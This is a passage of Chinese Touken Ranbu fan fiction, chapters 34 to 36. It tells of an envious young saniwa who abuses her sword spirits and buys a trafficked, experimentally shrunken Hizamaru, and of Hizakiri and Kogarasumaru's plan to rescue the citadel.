但最让小乌震惊的是髭切怀里还抱着一个孩子! 那个孩子一动不动,但从小乌居高临下的视角可以看到他薄荷绿色的发顶。 这个发色,能让髭切这么宝贝地抱在怀里不松手也只能是膝丸了。 就是体型不对。 膝丸可是比髭切还要高上几厘米,不可能是小短刀的模样。 这种情况小乌只能联想到磨短。 好可怕! 小乌打了个哆嗦。 光是想到这两个字他就能想象到那种生不如死的感觉了。 髭切的状态显然已经到了极限。 他的双腿都被割出一道道的伤口,每走一步都会再地面上留下淡淡的血痕,但他依旧固执地抱着膝丸翻身而起,向前走t?着,时不时回头张望,像是在躲避什么,并不停地用刀鞘划拉身后沾上血液的泥土,试图将痕迹清理掉。 小乌的心揪了起来,指尖掐入掌心。 要现身吗? 源氏兄弟的情况看起来很不妙,如果他现身,说不定会被卷入不得了的漩涡,出于对髭切的崇拜,小乌觉得连髭切都应付不了的审神者,他恐怕也没办法对那个渣审做些什么。 或许他会被那个渣审一起抓走关起来,扒骨抽髓。 但他又想起了髭切送给他的、给予了他极大帮助的御守,想起了鹤丸国永和千子村正。 如果他们在这里,一定会毫不犹豫地出手相助吧? 就在小乌犹豫期间,髭切再次单膝跪倒在地。 他怀里的小膝丸差点滑落,髭切急忙收紧手臂,闷哼一声。 管他呢!烂命一条就是干! 小乌下定决心。 他先是借着高处侦察了一下附近还有没有其他的人,确定没有之后,摇了摇树枝,发出沙沙的响声,吸引了髭切的注意力。 髭切的身体瞬间绷紧,像一头受伤的狮子一般将膝丸护在怀里,拾起本体刀尖指向小乌发出声响的方向,厉声喝道:“出来!” 小乌探出一个头让髭切看清他的长相,然后再跳下树,完整地出现在了髭切的视线中。 小乌举起手,示意自己没有恶意,轻声说:“我没有恶意,髭切大人。” 髭切看到他的脸后愣住了,还没等小乌自我介绍他就认出了小乌:“你?” “小乌?”他疑惑地问,“你怎么在这里?” 这回小乌也疑惑了。 髭切是怎么一照面就认出他的? 明明之前遇到的那振髭切在没有自我介绍之前都认不出他来。 难道是同一振? 几年时间没见混得这么惨了吗? 膝丸也缩水了。 第34章 第三十四章 嫉妒和贪婪会让人变成恶鬼…… E923的审神者人见桃是一个刚成年不久的年轻小姑娘。 然而从她的本丸编号就能够窥见, 她的灵力在一众审神者行列属于末流。 微弱的灵力代表人见桃和稀有的四花、五花刀剑几乎无缘。 入职时少女还懵懵懂懂,不明白其中的区别,直到她在上手工作后, 在和其他审神者的交往、还有万屋中真切地接触到了形形色色的稀有刀剑。 看着美貌耀眼的天下五剑, 体会到审神者看似愉快的交谈中, 明枪暗箭地炫耀,她开始意识到拥有稀有刀剑是多么令人羡慕的事情。 嫉妒正如同疯长的藤曼缠绕着她的心,邪念悄然滋生。 在暗处从事非法刀剑交易的审神者蛊惑下,她决心铤而走险购买一振稀有刀剑。 然而现实是残酷的, 灵力微薄的她,代表在这个工作中的薪酬也是最低一档, 她麾下的刀剑也不如人家的强, 在战场上获得的资源也更少,效率更低。 哪怕短刀极化后强度能够达到第一梯队,人见桃也等不到那个时候了。 她嫉妒得不得了,想要稀有刀剑想要得发疯,灼烧着她的理智,在日复一日的渴望中逐渐失控。 人见桃对手下的刀剑展开了疯狂的压榨, 不顾他们的承受能力, 逼迫他们高强度、无休止地出阵换取资源。 所得的资源资金统统被收走,化为了她换取稀有刀剑的资金。 修复资源被压缩至最低限度, 刀剑们们一直被维持在中伤及中伤以下的状态。 他们要每天拖着重伤的躯体做内番, 因为不种地的话就没有粮食, 审神者是不会花费多余的钱财替他们解决粮食的问题的。 还要顶着伤日夜不休地出阵。 在倾尽所有的资源后, 人见桃终于获得了她的第一把稀有刀剑——天下五剑中最美的三日月宗近。 本丸的刀剑们都松了一口气。 他们受人见桃的召唤拥有人身,自然是对主人天然拥有极大的好感的,他们很喜欢最初相识时, 那个腼腆羞涩的小女孩。 虽然人见桃对他们越来越苛刻,但是对于刀剑的他们来说其实也并不是那么难接受的事。 他们本身就是为了战斗而被召唤出来的,作为工具,他们坦然接受使用他们的主人的安排。 更何况在易获取的刀剑中,短刀的占比较大,心性更加偏向孩子的他们会更心软,更天真。 主人想要资源,那他们就拼尽全力去为她获取资源,主人只是想要稀有刀剑,想要把他们的兄弟接来本丸,如果能够重新见到自己的兄弟,那么他们吃得差一些也没关系。 那时候的短刀们以为主人只是想为之后的限锻做准备,根本想不到人见桃居然是想通过刀剑买卖来获取稀有刀剑。 尽管人见桃对他们的要求越来越苛刻,性情也开始变化,刀剑们还是坚信着他们的主人还是当初那个天真的小姑娘,只要他们能满足主人的要求就好了。 果然。 当人见桃将从刀剑贩子那里买来的三日月宗近装作是刚刚从锻刀炉中锻出,满脸笑意地捧着走出锻刀室之后,他们发现主人又变回之前的样子了。 “谢谢你们,多亏了你们我才能得到三日月。” 小姑娘可爱的脸上终于露出了笑容。 今剑是最高兴的。 他最难获得的弟弟来到了本丸,主人也变回了以前的主人。 走廊上出现了每天都坐在那赏景喝茶的三日月宗近,本丸的气氛也开始变得松弛。 在得到三日月宗近后,审神者的欲望得到了满足,本丸中刀剑们的生活似乎也逐渐开始好转起来。 她得到了心心念念的最美之刃,可稀罕了,把什么好东西都捧到三日月宗近的眼前。 虽然人见桃对资源的掌控依旧苛刻,出阵任务依旧繁重,但好在三日月宗近的引导和周旋下,大家至少不用再被逼迫全天休止地战斗,可以进行队伍轮换,获得了休息的时间,刀剑男士们也可以得到手入,维持在轻伤以上的状态。 审神者为了得到三日月宗近的好感,在伙食上的花费也投入得更多,让大家的饮食得到了改善。 这振三日月宗近的来历除了审神者和本刃,都被蒙在鼓里。 三日月宗近很自然地接受了自己被贩卖的现实。 在他不动声色的劝诫和引导下,审神者似乎不再有了购买刀剑的打算,她对现状很满足。 毕竟,仅仅这一振最美之刃,就已经让她花了一年多的时间,几乎倾家荡产才买回来。 她本丸的刀剑被长期的压榨快逼到极限,令她不敢在肆意妄为。 这些刀为她赚取了很多利益,练度也被练得相当不错,如果碎了她就得从头再练一年。 所以她需要平衡一下,维系住本丸的运转,以便继续以后继续榨取他们的价值。 ——这是卖给她刀剑的审神者教给她的。 那些审神者很热心,会教她如何利用刀剑男士快速赚取资源和金钱,不过有很多都是违法行为,她还是怕会被时之政府发现,不敢使用那些方法。 只能用最简单粗暴的方法来。 得到三日月宗近之后,人见桃的运气似乎变好了。 她居然靠自己锻出了髭切! 源氏兄弟比较特殊,他们最初的稀有度只有二花,需要不断进行特化,才会变成四花稀有度的刀剑。 也正是这个特殊的机制,让审神者生涯基本无法拥有稀有刀剑的人见桃锻出了髭切。 人见桃高兴极了,她开始觉得自己的灵力也不是那么的一无是处。 髭切同样收到了审神者优渥的待遇。 虽然此刃从不主动和人见桃拉近关系,但是只要人见桃找他,他就会笑眯眯地回应她。 髭切是继三日月宗近后第二喜欢的刀剑。 人见桃在审神者的论坛上炫耀她本丸的髭切,却被一个审神者嘲讽:“光有髭切有什么好炫耀的?膝丸都还没来呢,源氏就要兄弟整整齐齐带出去才拉风啊!” 审神者激动的心一下子就冷却了下来。 她开始加大锻刀资源的投入,尝试了各种玄学,始终锻不出膝丸。 “” 人见桃失望地把重复的大俱利伽罗塞进被她拉来玄学锻刀的髭切怀里。 她失望地说:“还是没有锻到膝丸” 髭切抱着刀,空出一只手摸了摸她的头,安慰她:“没关系,主人已经很努力了,虽然我也很想见到弟弟,但是还是能够忍耐的哦,不用心急。” 人见桃胸中结了一团郁气,拖长了声音撒娇:“不——行——我就是要膝丸啦!” “好吧好吧。” 髭切放在审神者头上的手停下了动作,然后收回。 “慢慢来吧,我相信主人。” 人见桃没有再看髭切,自己先走出了锻刀室。 她的郁t?闷并没有因为髭切温柔的安慰而消散。 她看着论坛上那些炫耀源氏双子的审神者们,嫉妒的毒液几乎要腐蚀她的心。 想要我也想要啊! 我想要和别人一样!我想要比别人更好! “不行我一定要有膝丸” 她看着源氏兄弟的照片,手指无意识地划拉这终端屏幕。 最后,她的目光定格在一个联系方式上——那是她之前购买三日月宗近时,刀剑贩子留给她的联系方式。 欲望永无止境,一旦尝到甜头就难以再收手。 她想 要不然再去买一振膝丸吧? 源氏兄弟在审神者中人气很高,但毕竟获取难度不算太高,流通量大,价格自然也更便宜。 总不至于有三日月宗近那么贵。 抱着这种心理,人见桃再次联系上了那个刀剑贩子,和本丸的刀剑撒谎说约了朋友去她的本丸玩,实际上是去了刀剑贩子的本丸挑选刀剑。 “好久不见了呢,审神者大人。” 刀剑贩子亲切地问她。 “上次的三日月宗近您可满意?这次想为您的本丸增添哪位成员呢?” “三日月很好。”人见桃点点头,长得漂亮还听话,知道自己是被贩卖的,但是也不闹腾,收到之前她还担心三日月会不会像被送走的宠物一样伤心,没想到他很自然地就接受了她这个新主人。 “我想要一振膝丸。” “膝丸殿啊”刀剑贩子用手中的平板查阅了一下,“嗯,我们这里确实还有几振没有出手的膝丸可供您选择,请跟我来。” 人见桃被带去看了好几振膝丸。 为了让客人能够更直观地看到刀剑男士的状态,刀剑男士都是在人身状态下被强制沉睡的。 价格也如她所料,虽然不是一笔小钱,但有了三日月宗近在前作对比,价格已经在她的承受范围内了。 “哎呀,还好您不是来买髭切殿的呢。”刀剑贩子一边介绍一边和她说,“髭切没有膝丸那么好对付,所以货量一直都很少,而且源氏兄弟中髭切也是更受欢迎的那一振,基本上一有货就被订走了。” 那她自己锻出髭切真是太好了,省了一大笔钱。 人见桃一想到自己亲自锻出的髭切就得意不已,扬起头和刀剑贩子骄傲地说:“我已经有髭切了!” “原来如此,是来为髭切买弟弟的吗,大人真是有心了。” 刀剑贩子保持着职业化的笑容不变,夸赞着人见桃对髭切的宠爱。 小女孩的炫耀罢了,能来这里买刀刀哪个不是因为虚荣心呢? 人见桃的目光扫过这些膝丸,被夸得膨胀,恨不得马上就定下一振膝丸。 她心里盘算着需要多久才能凑够这笔钱。 然而,就在她准备开口选定其中一振时,却想起那个放在房间正中央,被红布遮住的展示柜。 那个展示柜好像是平放的,和周边竖放的展柜放置方式不同。 被放在中间的应该都是最好的商品吧? 但是刀剑贩子却不向她介绍。 什么意思?觉得她太穷买不起所以看都不给她看吗? 看不起她? 人见桃询问刀剑贩子那个展柜里面是不是也有商品。 “没错没错。” 刀剑贩子听到她的问题后笑的更加灿烂了,把她领到中间那个展柜面前。 “这个展柜里展示的是一振非常特殊的膝丸。” 红布被揭开。 看起来只有七八岁大的小男孩,正抱着一振对他来说显得过长的太刀本体,蜷缩在铺满软布的展柜中。 他有着薄绿色的头发,脸蛋稚嫩,带着孩童特有的圆润和懵懂。 穿着缩小版的出阵服,安静地睡着,像一个小天使。 “这这是” 人见桃的声音因为激动和惊讶而发颤。 刀剑贩子介绍:“这是我们在研究符文的时候意外制造出来的膝丸,相比磨短的工艺,本体保留了太刀刀种,只改变了人身体型。” “不过也是有缺陷的,因为是实验的意外产物,所以心智也有损伤,更加接近孩童,战斗力也因为心智的缺损和本体与人身体型的不匹配大大下降。” “但是!”刀剑贩子拉高了声音,让人见桃的期望也跟着拔高,“您想想看,带着这样一振独一无二、幼年形态的膝丸出现在其他审神者面前,会让大家多羡慕啊!” 特别是你们这些小女孩。 还有不够强势的男性审神者。 刀剑贩子笑容加深。 付丧神气势太强,又太过完美,很多男性审神者都觉得自己被他们压上一头,地位收到挑战。 这种群体的审神者特别喜欢购买幼年体型的刀剑男士。 至于买来是做什么这不是他们卖家需要考虑的。 “这么可爱稀有的膝丸,看过他的客人都被迷得改变了原本的选择,想要定下这振商品呢。” 确实很可爱很稀有 人见桃觉得自己也被迷住了。 刀剑贩子的话就像魔咒一样钻入她的脑子里,她仿佛已经看到了其他审神者投来的目光。 那种被所有人注视、成为焦点的感觉 啊~ 人见桃的脸颊泛起红晕。 这比拥有源氏双子,不,甚至比拥有三日月宗近更能满足她的虚荣心! 看了这振膝丸,她完全看不上普通的膝丸了。 她想要!她就要这个!她必须拥有这个! “这振膝丸要多少?” 人见桃迫不及待地问。 刀剑贩子早就预料到了她的反应,不如说,很多客人听完他的介绍都是这个反应。 他发出一声低笑:“哎呀,审神者大人,您真有眼光。不过很遗憾,这一振已经被一位客人预定了。” 人见桃一怔,很失望:“只有这一振了吗?” 刀剑贩子:“是的。” 他们买卖刀剑的也就是几个人凑在一起搞的,没有什么组织,存货量自然是不多的,这么稀有的刀剑也是意外产出,目前就这一振。 “那位客人给了我们这个价。” 刀剑贩子给她报了一个天文数字。 人见桃倒吸一口冷气。 这个数字足够她买十几振三日月宗近了! 这么多钱她在时之政府打几辈子工可能都挣不到。 人见桃看着小小的膝丸,眼神中充满了不甘和渴望。 但是价格实在是太贵了,哪怕她很贪婪,也足够被这个数字吓退。 她失魂落魄的转身想要离开,连购买普通膝丸的心情都没有了。 “等等!审神者大人!” 刀剑贩子叫住她。 “我们已经在全力破译符文了,等到破译后,产量就能够增加,价格也会降低许多,如果您想要,可以先预定一振如何?” 人见桃猛回头。 但她担心降低价格后依旧买不起,嗫嚅道:“但是” “没关系,如果审神者到时候不再需要,可以无偿取消预定。” 刀剑贩子微笑。 他诱惑人见桃:“您也不必担心,等到能够稳定产出后,价格并不会高于天下五剑太多,我可以向您承诺不会超过三倍。” 那好像还有希望! 人见桃重新燃起了希望。 这个价格虽然依旧昂贵,但是有了对比,不再是遥不可及。 她已经度过了最艰难的新手期,本丸的刀剑练度都拉上来了,只要再把短刀们送去极化,积攒资源的速度就会快很多,不会像买三日月宗近一样艰难。 只要她再狠下心,像之前一样压榨她的刀剑们一段时间说不定很快就能入手了! “我预定!我预定!” 少女迫切地点头。 刀剑贩子:“那真是太好了,放心把,像您这样识货又有诚意的老客户,我们一定会优先通知您的。” 人见桃和刀剑贩子成功预定后,回到了本丸。 她一个人坐在天守阁,心脏还在怦怦直跳。 “膝丸我的小膝丸” 她痴痴地笑起来。 “很快,你很快就会是我的了!” 接着,她拿出了刀剑贩子在临走时送她的低价卖给她的盒子。 打开盒子,里面是两张符咒。 那个人告诉她,三日月宗近和髭切是两把不好控制的刀,如果觉得麻烦,可以把这两张符咒用在三日月宗近和髭切身上。 使用符咒后,审神者能在本丸范围内用语言控制刀剑男士的行动,超出本丸距离则是能够起到禁言的作用。 人见桃看着符咒犹豫了一下。 她觉得她的三日月和髭切都很听话应该是用不到的。 先收起来吧。 第35章 第三十五章 什么直播啊,哈哈,在时政…… 本丸短暂的喘息宣告结束。 人见桃重启了当初的安排, 甚至变本加厉,资源获取的任务量严苛到刀剑们几乎没有修正时t?间,不等手入就立刻投入战场更是常态。 轻伤成了奢望, 中伤成了常态, 手入室的灯光重新变得暗淡, 只有最紧急的伤势才能得到最低限度的处理。 修复资源的配给比压缩到了极致,刀剑们身上的伤痕层层叠叠,新旧交错,脸色是遮盖不住的憔悴。 只有三日月宗近和髭切还能维持原本的待遇。 人见桃舍不得她的稀有刀剑受伤, 更承担不起他们重伤后所需的天价手入资源,因此, 他们的任务不过是带领练度低的新刀在相对安全的低级战场练级。 虽然出阵频率同样提高了很多, 但是还算是留了比较充足的休息时间,出阵回来后也能得到审神者充足的养护。 髭切接受良好,他的性格本身就带着几分慵懒和随遇而安,对周边的变化并不是很敏锐,再加上他因为频繁的出阵减少了在本丸的时间,对本丸内部日益加剧的压抑, 起初并未有察觉。 直到他再一次和三日月宗近坐在走廊上喝茶时, 他惊觉本丸变得安静了不少。 庭院里空荡荡,短刀们嬉戏打闹的童音消失了, 看不到他们追逐打闹的身影。 他们要么在战场上苦苦支撑, 要么就是在部屋里争分夺秒地休息和忍受伤痛。 本丸里中伤的刀剑越来越多了, 已经快没有状态好的刀剑了 这样的安排, 是不是有些乱来了呢? 髭切转动着手中的茶杯,这样想道。 他端起茶杯,抿上一口, 细长的眉微微蹩了一下。 他将茶杯轻轻放回小几上,看向旁边的三日月宗近,歪头闲聊。 “哦呀最近的茶变得越来越苦涩了,是换了新茶吗?” 三日月宗近眉眼低垂,发出哈哈哈的笑声:“的确是这样,不过这茶已经有一段时间没有更换过了呢。” 髭切:“是吗?看来主人最近的财政似乎有些紧张。” 最近也不吵着说要锻膝丸了,像是把心思放在了其他地方。 “主人嘛” 三日月宗近语气淡然,说的话却答非所问。 “小姑娘过于急躁,老爷爷我也有点力不从心了呢。” 髭切挑眉,指尖敲击着膝盖:“为什么呢?我还以为月亮丸会对自己很有信心才对。” 毕竟是主人的第一把五花太刀,还是美誉天下的最美之刃,主人对他的偏爱有目共睹,就算是自己,待遇也是低于三日月宗近的。 这振三日月宗近承受了审神者的优待,却缺少了对主人的亲近。 主人是个没什么阅历的小女孩,她看不出来,髭切看得出来。 三日月抬眸,露出完整的新月,避开了髭切的问题。 “哈哈哈,也许等到膝丸殿到来,就能恢复原状了吧?” 他顿了顿,声音低了下去:“也可能,什么都不会改变。” 和弟弟有什么关系吗? 不等髭切开口,三日月宗近便像是忽然想起了什么,向髭切提出请求:“髭切殿,可否麻烦您一件事?” 髭切:“嗯?” “一会就要出阵了。”三日月宗近站起来,“兄长太累了实在是不好麻烦他,但是出阵服一个人穿起来可能有些困难呢” 所以来麻烦你了。 “好哦。”髭切也站起来,“举手之劳。” 他跟着三日月宗近穿过寂静的回廊,走向三条的部屋。 部屋的门轻轻关上,隔绝了外界的窥探,也让髭切明白了发生了这一切的缘由 髭切从三日月宗近那里知道了审神者准备购买刀剑的打算。 但他还不敢轻举妄动。 据三日月宗近所说,贩卖他的人里有时之政府科研部门的人,擅自向政府举报可能会打草惊蛇。 所以他打算先从审神者入手。 但是审神者的表现让他非常失望。 他和三日月宗近的劝诫被人见桃视作不听话,他们对其他刀剑的维护被视为不配合、唱反调。 资源积攒效率低下的焦虑,随着刀剑贩子发来符文成功破解的通知,人见桃不愿意再忍受三日月宗近和髭切对她的“冒犯”。 她开始认同刀剑贩子说他们不好控制的话,并在他们不设防的时候偷偷使用了符咒强行控制了他们,让他们乖乖听话去赚取资源。 然后,她心心念念的膝丸终于到手了。 膝丸不正常的体型无法让她再假装是她亲手锻出的,好在符咒在三日月宗近和髭切身上的使用效果很好,所以她还额外向刀剑贩子一起购买了一批符咒,给她的刀剑都使用了一遍。 然后心满意足地牵着年幼体的膝丸,光明正大出现在本丸中。 当人见桃牵着你那个小小的、薄荷绿色头发的身影出现时,髭切不可置信。 那确实是膝丸。 小小的膝丸,心智如稚子,眼神懵懂。 他一眼就看到了站在回廊下,被审神者强行定在原地的髭切,绽放出笑容。 挣脱人见桃的手,抱着长长的本体刀,跌跌撞撞地跑向髭切:“兄长!” 膝丸他引以为傲的弟弟被变成了这个样子。 他维持着表面的平静,缓缓蹲下身,伸出手臂,轻轻环抱住那个小小的身体。 “嗯我在这里,弟弟。” 他没想到兄弟竟会是以这种方式重逢。 人见桃看见这一幕,得意地笑了:“怎么样?髭切?这是我拼命为你买下的弟弟哦~” 髭切没有回答,只是将脸埋在小膝丸柔软的发顶。 人见桃被他无视,脸色铁青,甩开他把膝丸拉出来,牵着走了。 小膝丸不断回头:“主人?” 人见桃:“走!你兄长看起来不喜欢你。” 小膝丸:“?” 小膝丸不觉得,但是感觉主人在生气,不敢吭声 本丸完全陷入了审神者的掌控之中,没有人能再阻止人见桃了。 髭切看清了人见桃人畜无害的外表下埋藏的深渊。 她对稀有刀剑的追求愈发狂热,刀剑贩子如同嗅到血腥味的鲨鱼,提出的价格一次比一次高昂。 随着“新玩具”的出现,三日月宗近和源氏兄弟带来的新鲜感逐渐褪去,他们也沦为了审神者榨取资源的工具,日夜不休地消耗。 人见桃记恨着髭切对她说“嫉妒会让人变成恶鬼,为人还是大度一点比较好。”这句话,刺痛了她敏感又自卑的神经,这份怨恨化为了刻意的针对和羞辱。 这一份不喜甚至延伸到了小膝丸身上。 而且她发现她被骗了! 这振膝丸太过特殊根本就不能带出去! 带出去了必定会被举报。 她一想到这个就来气!花了这么多钱,买了个不能带出去的废品!甚至连战斗都不行! “啪!” 小膝丸被打得一个踉跄,跌坐在地上,白嫩的脸上浮出清晰的五指印。 他捂着脸,睁大眼睛,茫然又恐惧地看着暴怒的审神者。 髭切站在一旁,身体瞬间绷紧,脸色难看至极。 “废物!跟你那个不识抬举的兄长一样!都是废物!” 人见桃就是要当着髭切的面打他弟弟,让他知道教训。 她表面上是在威胁膝丸,实际上话是说给髭切听的:“再惹我不高兴,我就把你卖给那些有特殊癖好的审神者换钱!听到没有?!” “” 髭切死死咬住牙关,口腔里弥漫开浓重的血腥味。 等人见桃离开,髭切蹲下小心翼翼地擦去小膝丸脸上的眼泪。 “不用怕,兄长在这里” 髭切有了带着膝丸逃跑向外寻求帮助的打算,但没想到三日月宗近的动作比他更快。 趁着人见桃出门,三日月宗近突然将本丸的刀剑一个个打伤。 本丸的其他刀剑都默默地站着不动,放弃抵抗,任由三日月宗近动手。 髭切明白了他的意思,也拔出了刀。 等审神者发现刀帐的异动赶回本丸,除了在外出阵的两队极短,刀剑男士全都是重伤状态,被剥夺了行动能力。 “不——!!!” 人见桃看到本丸的惨状尖叫起来。 “三日月宗近!你在干什么!” 她翻看刀帐,发现髭切和膝丸居然显示的是出阵中。 他们逃跑了! 是谁放跑的不言而喻。 人见桃猛地看向唯一还站着、手持太刀的三日月宗近。 既然是谁放跑的,谁就要去抓回来! 她正要利用符咒命令三日月宗近,三日月宗近此时却开口大笑几声。 然后果断挥刀斩断了自己的双腿。 他倒在血泊中,笑容似在嘲讽,深蓝色的发丝中出现了几缕白发:“真是抱歉了主人,老爷爷我也追不上他们呢。” 喜欢用言灵控制他们?那我就让你无刃可用。 “啊啊啊啊啊!!!” 人见桃简直快被气疯了! “你们、你们这些叛徒!” 她跑到t?传送装置强制召回出阵队伍,命令他们根据最后记录的坐标去追捕源氏兄弟。 她害怕了,她害怕髭切成功逃脱,会引来时之政府的追查。 她还很年轻!她不想坐牢! “小乌?你怎么会在这里。” 髭切带着膝丸逃亡,没想到居然能在这里遇见小乌。 人见桃自知违法,在时之政府开始严打后,心虚地要命,经常关注执法队的直播,髭切也跟着看过一些。 小乌的执法直播录像特别火爆,他同样也看了。 现在他出现在这里是因为时间溯行军,还是逃出来的? 髭切的目光在他身上打转了一圈。 感觉他的精神面貌对比他看直播时的状态,可以说是焕然一新。 脸色红润,仪态也很大方没有畏畏缩缩,脖子上也没有了当时看到的控制器。 像是逃出来了,而且过得还不错。 小乌一脸懵逼:“诶?您是之前遇见的那个髭切大人吗?” “不是哦。”髭切沉默了一下,“你之前遇到的同振来自政府的执法队,执法队是全程直播的,我有看过直播。” 小乌:? 小乌:??? 他好像听到了什么不该听到的东西。 直播?哈哈,听错了吧,他是不是在说直博、智博、制播、直拨 好了不要再自欺欺人了 啊!!! 直播是什么东西啊!!! 他那时候在干什么?在演戏啊!在演什么?在演源氏内战! 小乌回忆起来当初的那场大戏,想到居然被全程直播还被不知道多少人看到,脸上的表情就彻底崩坏了。 不想活了!这等我回了时政要怎么活下去! 对面的髭切现在是怎么想他的!!! 算了他不想知道。 他·不·想·知·道! 第36章 第三十六章 哇哦,是限定皮肤!…… 执法队啊直播什么的暂且先不提, 小乌在心里发疯了一下,就先让这茬过去了。 髭切的伤很重,先处理伤势要紧。 “我先帮您治疗一下好吗?” 髭切没有说话, 盯着他看了一会, 点点头默认了。 小乌慢慢地缩短距离, 然后轻轻握住他的手,把灵力传过去。 不传不知道,一传吓一跳。 髭切表面上看起来很正常,实际上已经暗堕了。 这他可太熟悉了。 不过好在暗堕似乎刚开始没多久, 就是不知道他现在的灵力储量够不够同时治疗重伤和净化暗堕。 小乌皱眉,额头渗出细密的汗, 沉浸在灵力的输出中。 髭切则是不停打量小乌的脸。 嗯虽然知道小乌的存在已经是一种非常不可思议的事了, 但是他还是有点遗憾,这孩子长得和他当初预想的不太一样。 但是不一样好像也很正常,毕竟受逸闻的影响那么深。 真好奇他到底是怎么诞生化形的呢? 小乌并不知道髭切现在在想什么,为了节省灵力,他把髭切治疗到轻伤状态就收手了,剩余的灵力全部用于净化暗堕, 但是即便如此, 还是差一点无法拔除。 他收回手,看了一眼髭切。 髭切在他治疗的时候一声不吭, 脸上也没有表情, 不知道在想什么。 这刃也是真的很能忍, 在重伤状态下, 居然还能压制得表面上一点都看不出有暗堕的迹象。 小乌暗自佩服。 小乌:“抱歉,我的灵力不够帮您完全祛除暗堕” 髭切摇摇头说没事,已经足够了。 “啊!对了!” 小乌突然想起来。 他还有御守! 小乌连忙把他补充好灵力的御守拿出来, 高兴地说:“我可以把御守的灵力抽出来用!” 髭切看着小乌,脑子里突然冒出一个大胆的计划。 他之所以选择逃出本丸寻求外力帮助,是因为受到契约和符咒的束缚,无法对审神者动手,但是小乌并不受限制,本灵的身份也足以碾压她的灵力 与其浪费时间寻找在此地出阵的队伍求助,眼前就有一个现成的帮手。 如果可以,髭切还是希望援助能到得快一些,毕竟本丸的后辈们为了帮助他们,付出了很大的代价,多拖延一点时间,就会多一分危险。 髭切阻止了小乌的动作,把御守按回去,对他笑了笑。 “御守你自己留着吧。” 他把膝丸放置在一旁,然后对他说—— “好孩子,可以帮我一个忙吗?” 小乌抱着髭切的刀鞘正在怀疑人生。 他感觉上了贼船。 髭切挑着禁言外能说的部分尽力给小乌说明了一下他本丸的情况。 说实在,因为禁言,信息很杂碎,小乌不能完全理解。 但是从髭切的话里知道他的审神者是个渣审,很弱,也没什么脑子,但由于他们被毫无防备地下了咒术,所以没有办法反抗,这才逃了出来寻求帮助。 如今还在本丸里的刀剑情况还危险,所以希望小乌能配合他的计划帮助他除掉那个渣审。 小乌是很乐意帮助刀剑男士们的,但是这个方式 髭切笑眯眯地给自己的本体换上了小乌的刀鞘。 白金色的军装神奇地变成了黑金色。 哇哦。 我是说 哇哦。 髭切都这么干了,小乌也不扭捏了,套上了髭切的刀鞘。 他的本体本来是会比髭切长两分的,但是被斩断修复后,长度就和髭切差不多了,如果没有把两振刀放在一起比对,很难看得出来小乌会比髭切更短那么一点点。 所以互换刀鞘对他们来说没什么困难,又是本科和仿刀的关系,还挺适配的。 套上刀鞘后,他的衣服变成了白色,不过红色的地方还是没有变。 是限定皮肤! 小乌新奇地凑到河边照了照。 有点好看。 不过没时间再欣赏下去了,他们停留在一个地方很长时间了,凭极短的侦察力,很快就会找到这里了。 “弟弟就拜托你了哦,小鸟丸。” 髭切把他的计划交代给了小乌,还额外准备了几个备用方案。 “我会的!” 小乌听完点头。 小乌和髭切互换刀鞘,为的就是让小乌伪装成他,让人见桃派来的短刀们将他带回本丸。 嗯,等被带到审神者面前,他就咚地一下唰地一下把那个渣审给砍了! 然后联系时之政府,把藏在这里的髭切接回来。 髭切也会在此期间继续寻找其他本丸出阵的刀剑求助。 他们两线并行。 我准备好了! 小乌想了想,还是把御守拿出来,把里面的纸条和纽扣取出后,交给髭切。 一个刃在外面还是太危险了,带个御守更有安全感。 耶?话说髭切大人现在穿得黑不溜秋的会不会被当成暗堕付丧神打呢? 髭切不知道小乌在想他在外边挨打的事情。 他看到了小乌手里的扣子,心里疑惑。 这好像是他出阵服上的扣子。 小乌把纸条和扣子放好后,才把本体放到小膝丸的怀里,最后看一眼髭切,然后回到了本体。 小膝丸全程没有醒过,他这个亲哥下手有点子狠,打晕了这么久都不醒。 不过这会不醒也挺好的。 髭切布置了一下现场痕迹,走了。 髭切刚走不久,一队极短就追过来了。 当他们看到只有小膝丸的时候愣住了 髭切去哪了? 药研藤四郎:“髭切殿不可能会丢下膝丸殿的。” 他走进前查看,看见小膝丸怀里抱着两振刀。 一振是小膝丸的本体,另一振就是“髭切”。 “” 药研藤四郎把小膝丸连着两振刀一起抱起来。 药研藤四郎:“今剑,可以帮我拿一下膝丸殿的本体吗?” 今剑:“好。” 今剑不明所以,从小膝丸的怀里拿出他的本体。 他的眼眶还是很红。 当他被审神者强制召回本丸,看到本丸和弟弟三日月的惨状后,被打击得很厉害,离开审神者的视线后哭了很久。 但是他们违抗不了主人的命令。 为什么主人会变成现在这个样子呢? 今剑想不明白,本丸的很多刀剑都想不明白。 他们的审神者在他们不知道的地方开始腐烂。 却没有人及时发现。 他们已经在尽量拖延时间放水了,想让源氏兄弟逃得再远些,但没想到他们似乎遭遇了什么意外,髭切变回了本体。 今剑不敢细想,髭切殿是单纯地变回了本体,还是碎刀了。 但他们既然找到了,就得带回去。 对不起我们没有办法保护膝丸殿 短刀们默默地向髭切道歉。 他们带着小膝丸启动传送装t?置,回到了本丸。 传送的光芒亮起又消失,短刀们出现在了本丸的庭院。 他们扫视四周,原本倒在各处的兄弟和同僚们都不见了。 但也没有留下刀剑的碎片。 短刀们松了一口气,心里有些庆幸。 这代表审神者并没有放着他们不管,任由他们碎刀。 “主人应该在手入室。” 药研藤四郎判断。 一行人来到手入室,在走廊上就能听到人见桃的咒骂声。 推开门,人见桃正在来回踱步,头发凌乱,脸色苍白,脸上全是虚汗。 “你们这些赔钱货!拖累我了!” 她抓狂地喊。 自从时之政府开始严打后她就不敢去买刀了,也不敢再让刀剑男士们高强度出阵,根本攒不出多少材料来修这么多重伤的刀。 尤其是重伤的刀里还有很多振太刀。 修复他们所需要的资源简直量大得像是在吃人。 她只能自己亲自用灵力修复。 本来灵力质量就不高,存量还低,这么一折腾,她已经在手入室修了好几个小时的刀,脸色那么难看,就是因为灵力快被榨干了。 她粗暴地按在加州清光的伤口上,断断续续地灌入灵力。 加州清光因为她的动作疼得抽动了一下。 “主、主人” 加州清光虚弱地呻吟了一下。 “闭嘴!” 人见桃烦躁地抓挠自己的头发。 拿出终端给刀剑贩子发消息,这种上不了台面的事情,她没有别的可以倾诉的人选,只能求助于卖她刀的人,询问她的刀剑逃跑了应该怎么办。 “都是你们没用!居然会被两振刀打成重伤!要不是你们这么弱,我怎么会落到这个地步!我的资源!全没了!” 她歇斯底里地大吼大叫。 但她不能放着这些刀碎掉,在这个风口浪尖上短时间内大量碎刀,数据的异常一定会被时之政府监控到,他们马上就会找上门来,到时候什么都完了! 手入室或坐或躺的刀剑们沉默地看着她。 